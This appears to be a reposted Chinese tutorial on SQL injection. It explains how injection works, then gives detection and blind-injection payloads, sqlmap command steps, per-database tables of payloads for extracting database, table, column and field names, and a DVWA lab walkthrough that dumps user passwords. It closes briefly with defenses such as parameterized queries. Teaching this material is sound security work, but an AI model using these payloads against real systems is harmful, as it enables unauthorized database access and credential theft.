SQL注入理解与防御
一、說明
sql注入可能是很多學習滲透測試的人接觸的第一類漏洞,這很正常因為sql注入可能是web最經典的漏洞。但在很多教程中有的只講‘或and 1=1、and 1=2有的可能會進一步講union select、update等注入時真正用的攻擊語句,但即便是后者更多的感覺像是跳到DBMS里去講就是把數據庫版本、數據庫名、表名、列名這些都當作是已知的基于這個前提下去講。而在實際攻擊過程中版本、數據庫名、表名、列名都是需要自己去探測的。這就導致了你聽過無數的sql注入理論和高深的利用方法,到自己去測試時只會and 1=1或祭出sqlmap。
?
二、sql注入定義
sql注入就是閉合原先的sql語句并拼接上攻擊者想要執行的sql語句。關鍵詞是閉合和拼接。
2.1 注入舉例
現有頁面:http://example.com/app/accountView?id=1
對應后臺sql語句為:String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
當前具體生成sql語句為:String query = "SELECT * FROM accounts WHERE custID='1';
現攻擊者將鏈接(id值)改為:http://example.com/app/accountView?id='or '1'='1
此時具體生成sql語句為:String query = "SELECT * FROM accounts WHERE custID=''or '1'='1';
or前的分號就起“封閉原先的sql語句”作用,or '1'='1就是“拼接上”的“攻擊者想要執行的sql語句”。
?
2.2 常見注入說明
仍使用上面的例子
| 注入形式 | 形成注入語句 | 攻擊原理及效果 |
| ’(單引號) | String query = "SELECT * FROM accounts WHERE custID='‘' | custID等于三個單引號,這種形式sql解析器解析時會報錯,如果前端頁面也報錯一是說明該參數會帶入sql解析器二是說明sql語句沒做過濾 |
| ’and ‘1’=‘1 'and '1'='2 | String query = "SELECT * FROM accounts WHERE custID='‘and '1'='1' String query = "SELECT * FROM accounts WHERE custID='‘and '1'='2' | 這兩條一起使用,由于’1‘=’1‘恒為真所以應該有結果’1‘=’2‘恒為假所以應該沒有結果,總之就是如果這兩者能導致頁面顯示有區別,那也可以說明該參數帶入sql解析器且沒做過濾。 ? |
| 'or '1'='1? | String query = "SELECT * FROM accounts WHERE custID=''or '1'='1'; | 'or '1'='1頁面正常返回可能是注入成功了也可能是做了過濾所以這種形式一般不能做為是否存在注入的檢測方法;'or '1'='1作用是取回表中所有結果,最常見的是用于繞過登錄 |
?
?
?
?
?
?
?
當要注入的參數為整型時使用and1=1/and 1=2/or 1=1的形式,當要注入的參數為字符串類型時需要平衡單引號所以等用上表中帶單引號的形式;在具體滲透時我們不知道是整型還是字符串類型只能靠正常訪問時賦給變量的值來做推測,一般來講主要是以字符串類型存諸即便是數字也經常存為字符串取出時再轉為整型。
'or '1'='1我們上邊說其“最常見的是用于繞過登錄”。《Metasploit滲透測試魔鬼訓練營》就使用了繞過登錄的例了,但繞過登錄現在并不那么好用除了登錄是重點防護區域之外現在都很強調密碼加密,password參數取回后先被md5(password)其中的單引號根本沒有“閉合”“拼接”的機會。當然'or '1'='1“作用是取回表中所有結果”,所以其他地方還是有用武之地的。
另外還有'or 'a'='a這類形式,這是為了防上服務端專門針對'or '1'='1過濾而用的變種形式其本質還是一樣的。
平衡右單引號也不是必須的,我們有時還可以看到‘or 1=1 --的形式,--是sql語句的注釋符號使用--右邊的單引號就被注釋掉不起作用了所以不需要平衡。其實--在注入不是原sql最后一個詞時有更大的用處,比如假設存在語句update user_table set password = 'default_password' where username = '" + request.getParameter("username") + "' and changeable = 'yes'其admin賬號chageable為no那么注入admin'or '1'='1也是改不了admin賬號的密碼的,但注入admin' --就可以改。
?
2.3 sql注入位置
我們要明確以下三點:
參數被帶入數據庫時,被帶入的CRUD的任何一處(即select、insert、update、delete)都是有可能的。
從理論上來講,無論被被帶入的是select、insert、update、delete我們都能注入任意的sql語句進行數據庫操作。
想直接獲取數據表內容那只能拼接select語句,insert、update、delete這三條語句也能在其后拼接select語句,但是由于這三條語句的服務器代碼不會向前端返回數據的代碼,所以如果參數被帶入的是insert、update、delete拼接直接查詢數據表內容的select語句是沒有意義的(當然exists大于等于等符件性select還是有用,所以下方3.7.1獲取數據表內容的方法還是可用的)。想直接獲取數據表內容需要能注入的語句原本就是select語句(下方3.7.2 union select法)。
?
2.4 sql盲注
2.4.1 盲注與普通注入的區別
普通注入有兩個特征:一是會將數據庫的內容查詢并回顯到頁面上(這是最主要的),二是會返回原始的數據庫錯誤信息(這是次要的)。數據會回顯到頁面上,那么我們可以從返回的頁內中提取我們的數據庫名等數據。
回顯內容(admin處):
返回原始數據庫錯誤信息:
盲注對應的也有兩個特征:一是不會將數據庫內容回顯到頁面上(這是主要的),二是不會返回原始的數據庫錯誤信息。
不會將數據庫內容回顯到頁面上(只告訴你存不存在):
不會返回原始的數據庫錯誤信息(返回的是自定義的錯誤信息):
?
2.4.2 盲注如何進行
盲注場景中內容不回顯到頁面上,我們就沒法從頁面提取內容,那我們該如何獲取數據庫內容呢。只有一種辦法,那就是把我們的猜測構造成一個布爾表達式。
如果返回的內容和原來一樣那該表達式的猜測就是對的,如果返回的內容和原來不一樣那該表達式的猜測就是錯的。比如"SELECT * FROM accounts WHERE custID='1'?and (length(database()))=8 -- "如果返回內容和原來一樣(此時即and 1)那說明數據庫名稱長度為8字節,如果不一樣(此時即and 0)則不是8字節,繼續猜。
但“和原來一樣”這個說法可能有點問題,即我們需要監測原來是怎樣的現在是怎樣的然后比較,這有點麻煩。我們改造成“SELECT * FROM accounts WHERE custID='1' and if( (length(database()))=8 , sleep(3), 1) -- ”,如果查詢出現了3秒延遲那說明數據庫名長度為8字節,如果沒出現延遲則不是8字節,繼續猜。
比較和原來是否一樣的形式即布爾型盲注,構造延時這種形式即時間型盲注。
?
三、sql注入攻擊步驟
我們使用sqlmap或者更早以前的啊D、明小子,sql注入都是有一定步驟的,步驟也都是一樣的;手工注入一樣遵循這樣的步驟只是將工具各步敲的注入代碼改為手動敲就而已。
可通過三種辦法探測sqlmap在各步中到底注入了哪些語句,第一種是閱讀源代碼這要要有較強的能力我試了一下并不能駕御。第二種是查看C:\Users\username\.sqlmap\ouput\hostname\log文件(該文件其實就是執行sqlmap整個過程的控制臺輸出)sqlmap每次發的數據包都會以”Type-Title-Payload“三元組記錄。第三種是使用wireshark或帶上--proxy="http://127.0.0.1:8080"參數使用burpsuite截取sqlmap發送的數據包(sqlmap在ouput目錄下的文件有記住前面對鏈接的探測結果,即便其log文件中說本次探測發了這些payload其實也不一定真的發了,攔到的數據包和log感覺對不上時要明白這一點)。
下邊各步注入代碼整理自《大中型網絡入侵要案直擊與防御》沒有逐條核實,簡單對比了一下sqlmap探測的載荷在編碼等方面有差別但意思是基本一致的,也就差不多了。
另外常會聽說數據庫提權,我們要明確系統賬號可以是數據庫賬號但數據庫賬號不可能是系統賬號,所謂數據庫提權只是調用能執行系統命令的數據庫擴展添加系統賬號。
在確認是注入點之后,注入獲取庫名、表名、列名、字段內容,其考驗的不再是什么滲透測試能力,而是對sql和當前數據庫(比如oracle)的熟練程度。
這里使用dvwa作為演示環境,演示的是普通sql注入的注入過程,盲注需要另行將注入語句改造成類似“1' and if(select ascii(substring((select database()),1,1))=119,sleep(3),1) -- ”的形式。
?
3.1 使用sqlmap的攻擊步驟
# 查看sqlmap幫助 python sqlmap.py -h # 查看sqlmap詳細幫助 python sqlmap.py -hh# 以下各步,注意使用--data設置post內容,使用--cookie設置cookie,使用--referer設置referer,使用--proxy設置代理 # 以下各步,我以dvwa為例,但為了觀察體驗將有身份認證信息的--cookie刪除了,自己用dvwa要注意帶上--cookie # 以下各步,如果中途出現選擇自己不懂選哪個,推薦直接按回車使用sqlmap默認值 # 第一步,確認目標參數。如果是get那么直接用-u接url即可,如是是post那么需要使用--data="username=admin&password=toor"形式 # 第二步,確認動態參數。 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" # 第三步,爆出數據庫類型 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --banner # 第四步,爆出數據庫名 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --dbs # 第五步,猜解數據庫表。使用-D指定要猜解數據表的數據庫,假設為dvwa數據庫 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa --tables # 第六步,猜解字段名。使用-D指定數據庫,使用-T指定要猜解字段名的表,假設為dvwa數據庫數據表為users python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users --columns # 第七步,猜解字段值。使用-D指定數據庫,使用-T指定表,使用-C指定要猜解其內容的列,假設為dvwa數據庫數據表為users列為user_id和user python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users -C user_id,user --dump # 第八步,拖庫。其實使用--dump時就已經將數據以csv格式保存到了C:\Users\username\.sqlmap\output\server_ip\dump\database_name目錄下 # 第八步,拖庫。我們可以使用--dump-format配置輸出格式,使用 --output-dir重定向輸出目錄。 # 第八步,拖庫。參數指定到什么范圍就下載什么范圍的數據,以下載dvwa庫users表所有以SQLITE格式輸出到當前目錄為例(本質仍是server_ip\dump\database_name) python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users --dump --dump-format=SQLITE --output-dir=.?
3.2 手工注入的攻擊步驟
第一步,確認目標參數
我們首先要確定要測試哪些參數。在以前參數還是比較容易確定的,比如前面說的http://example.com/app/accountView?id=1,問號后邊的參數大多是動態參數。
但現在都講restful,所以首先參數并不一定在問號后邊,比如url可能變成http://example.com/app/accountView/1/這樣的;其次大多參數都是post的,所以目標要從url更多轉移到post數據上。
第二步,確認動態參數
動態參數就是帶入數據庫的參數,很多參數是不帶入數據庫的而只有帶入數據庫的參數才有可能導致sql注入,所以我們需要確認哪些參數是動態參數。
沒具體去分析sqlmap等工具是怎么確定一個參數是不是動態參數,我們可以使用前面說的單引號法和1=1/1=2法,如果參數有過濾不能注入那我們權當他不是動態參數也一樣的。
第三步,爆出數據庫類型
因為雖然數據庫都兼容sql92但不同的數據庫其具有的系統庫表和擴展功能都是不一樣的,這導致我們后續查詢庫名、表名、列名具體注入語句會隨數據庫的不同而有差異,所以首先要確認服務端使用的是什么數據庫,是oracle還是mysql還是其他。
和檢測操作系統等類似,判斷是什么數據庫也是用“指紋”的形式,數據庫的指紋就是數據庫支持的注釋符號、系統變量、系統函數、系統表等,所以應該可以整理出更多的檢測語句。
| 數據庫 | 注入語句 | 原理 | 用處 |
| access | and user>0 | user是mssql內置變量,類型為nvarchar;nvarchar與int比較會報錯 | msqql和access報錯不一樣可區分數據庫是mssql還是access |
| mssql | and (select count(*) from sysobjects) >= 0 and (select count(*) from msysobjects) >= 0 | mssql存在sysobjects不存在msysobjects,上句不會報錯下句會報錯 access不存在sysobjects存在msysobjects,上句會報錯下句不會報錯 | 可用于確認數據庫是mssql還是access |
| multi | ?/* -- ; | ?mysql支持的注釋 mssql和oracle支持的注釋 oracle不支持多行 | ?報錯說明不是mysql 不報錯可能是mssql或oracle 報錯極有可能是oracle |
| mysql | select @@version select database() | @@version是mysql的內置變量 database()是mysql的內置函數 | 返回正常可能是mysql |
| oracle | and exists(select * from dual) and (select count(*) from user_tables)>0 -- | dual和user_tables是oracle的系統表 | 如果返回正常則說明是oracle |
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
第四步,爆出數據庫名
| 數據庫 | 注入語句 | 說明 |
| access | ? | access一個數據庫對應一個文件,獲取文件名沒有很大意義 |
| mssql | and db_name() = 0 and db_name(n) > 0 | 從返回的報錯信息中可獲取當前數據庫名 返回的報錯信息中有第n個數據庫的庫名 |
| mysql | and 1=2 union select 1,database()/* and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit n,1 select group_concat(schema_name) from information_schema.schemata | 爆出當前數據庫名 n為幾就返回第幾個數據庫的庫名返回空就表示沒有更多數據庫了 返回所有數據庫名 |
| oracle | ?and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5...from dual and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<> '上一庫名'),4,5... from dual | ?返回第一個庫名 返回當前用戶所擁有的下一庫名 |
?
?
?
?
?
?
?
?
?
?
?
?
第五步,猜解數據庫表名
| 數據庫 | 注入語句 | ?說明 |
| access | and exists(select * from table_name) and (select count(*) from table_name) >= 0 | ?不斷測試table_name 如果返回正常那說明該表存在 |
| ?mssql | and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status != 0)=0 -- and (select top 1 cast(name as varchar(256)) from (select top n id,name from [sysobjects] where xtype=char(85) and status != 0 order by id)t order by id dsec)=0-- and 0<>(select top 1 name from db_name.dbs.sysobjects where xtype=0x7500 and name not in (select top n name from db_name.dbo.sysobjects where xtype=0x7500)) -- | ?可爆出當前數據庫表的數量 n為幾就輸出第幾張表的表名 n為幾就輸出db_name庫第幾張表的表名 |
| ?mysql | ?and union select 1,table_name from information_schma.tables where table_schema=database() limit n,1-- select group_concat(table_name) from information_schema.tables where table_schema=database() | ?n為幾就返回當前第幾張表的表名 返回當前庫的所有表名 |
| oracle | and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5... from dual and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'上一表名'),4,5...from dual and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5... from dual | 返回第一個表名 返回下一個表名 返回包含pass的表名 |
?
?
?
?
?
?
?
?
?
?
?
?
?
?
第六步,猜解字段名
| 數據庫 | 注入語句 | ? |
| access | and exists(select column_name from table_name) and (select count(column_name) from table_name) >=0 | ?table_name使用上一步得到的表名,不斷試column_name 如果返回正常則說明該字段存在 |
| ?mssql | having 1=1 -- group by 字段名1 having 1=1 -- group by 字段名1,字段名2 having 1=1 -- | 可獲取表名和第一個字段名 ?可以得到第二個字段名 可以得到第三個字段名 |
| ?mysql | ?and 1=2 union select 1,column_name from information_schema.columns where table_name =ascii_table_name limit n,1-- select group_concat(column_name) from information_schema.columns where table_name=ascii_table_name | ?ascii_table_name表示要查的表的表句的十六進制型示n為幾就返回第幾字段的字段名 返回指定表名的所有字段 |
| oracle | and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and rownum=1),4,5... from dual and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and column<> '上一字段名' and rownum=1),4,5... from dual | 返回第一個字段名 返回下一個字段名 |
?
?
?
?
?
?
?
?
?
?
?
?
?
?
第七步,猜解字段值
獲取字段內容,各數據庫的方法是比較通用的,當然也有一些自己特色的獲取方法我這里就不管了
方法一:逐字節猜解法
首先猜解出字段長度,然后再逐字節猜解。
and (select top 1 len(column_name) from table_name > 1
and (select top 1 len(column_name) from table_name > 2
..
and (select top 1 len(column_name) from table_name > n-1
and (select top 1 len(column_name) from table_name > n
當n-1正常n錯誤時說明字段長度為n(二分法快一些)
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 0
and (select top 1?asc(mid(cloumn_name,1,1)) from table_name > 1
..
and (select top 1?asc(mid(cloumn_name,1,1)) from table_name > n-1
and (select top 1?asc(mid(cloumn_name,1,1)) from table_name > n
n-1正常n錯誤時說明字段值第一位ascii碼值為n,再使用mid(cloumn_name,2,1)等繼續猜解后續各個位直至n即可
?
方法二:union select法
上邊的逐字節猜解法是相當費勁的,使用union select能更快捷地獲取字段值。
由于union select要求兩邊的select返回的select字段數要一樣,所以首先使用order by猜解前邊select返回結果的字段數:
order by 1
order by 2
...
order by n-1
order by n
n-1正常,n報錯時說明原先select字段數為n
然后使用union select查出表中內容
and 1=2 union select 1,2...,n from table_name----and 1=2是為了使原本的select結果為空,頁面中出現數字x說明該處是顯示的是第x字段的結果將x替換為字段名該處即會呈現該字段的內容
and 1=2 union select 1,2..,column_name..,n from table_name----上邊的x替換成column_name,頁面中x處即會顯示column_name字段的內容
?
3.3 手工注入演示
環境使用phpStudy+DVWA,為了更形象地還原注入場景我們真接在頁面演示,并會給出注入時真正執行的SQL語句。
第一步,確認目標參數。請求鏈接為http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,所以目標參數為id和Submit。
第二步,確認動態參數。Submit是按鈕不是動態參數直接跳過;輸入“1' and 1 = 1 -- ”時無報錯且有結果,輸入“1' and 1 = 2 -- ”時無報錯無結果,所以判斷id是可注入參數且為字符串類型。
(真實執行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 1 -- ';)
(真實執行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 2 -- ';)
第三步,確認當前查詢列數。注入載荷”1' order by n -- “,執行到n為3時報錯(Unknown column '3' in 'order clause'),說明原先的查詢語句是兩列。
(真實執行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 -- ';)
(真實執行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3 -- ';)
第四步,確認哪些列會被回顯到頁面上。注入“1' and 1 = 2 union select 1,2 -- ”,可以看到第一列和第二列都會回顯到頁面上,且第一列是First name的值第二列是Surname的值。
第五步,爆出數據庫類型。將第二列改為@@version,注入“1' and 1 = 2 union select 1,@@version -- ”,有返回結果且為5.5.53,所以判斷數據庫為mysql且版本為5.5.53。
?(真實執行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 2 union select 1,@@version -- ';)
第六步,爆出數據庫名。經上步我們已經知道是mysql所以可以確定地使用mysql的注入載荷。注入“1' and 1=2 union select 1,database() -- ”,可見當前數據庫名為dvwa。
(真實執行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,database() -- ';)
第七步,猜解數據庫表名。注入“1' and 1 = 2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- ”,返回結果說明當前數據庫中有guestbook和users兩個表。
(真實執行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- ';)
?第八步,猜解字段名。注入"1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- ",從返回結果可以看出users表有user_id,first_name,last_name,user,password,avatar,last_login,failed_login等幾列。
(真實執行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- ';)
第九步,猜解字段值。以獲取當前數據庫,users表,first_name和password列為例。注入"1' and 1=2 union select first_name,password from users -- ",獲取內容如下圖。
(真實執行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select first_name,password from users -- ';)
?
四、SQL注入防御
構造的sql語句時使用參數化形式而不使用拼接方式能夠可靠地避免sql注入;主流的數據庫和語言都支持參數化形式,可參考維基百科“參數化查詢”。
拼接加對輸入進行單引號和sql關鍵字過濾的方法也能在一定程度上防護sql注入,但是由于數據庫的具有注釋符/連接符、支持十六進制寫法、具有char()等編碼函數可以使sql語句變換成多種多樣的形式,所以這種方法并不可靠。
?
參考:
https://www.acunetix.com/websitesecurity/blind-sql-injection/
德丸浩-《Web應用安全權威指南》
肖遙-《大中型網絡入侵要案直擊與防御》
轉載于:https://www.cnblogs.com/lsdb/p/9612424.html
總結
以上是生活随笔為你收集整理的SQL注入理解与防御的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linu下安装ffmpeg
- 下一篇: mimic-iii数据库_财务会计应用程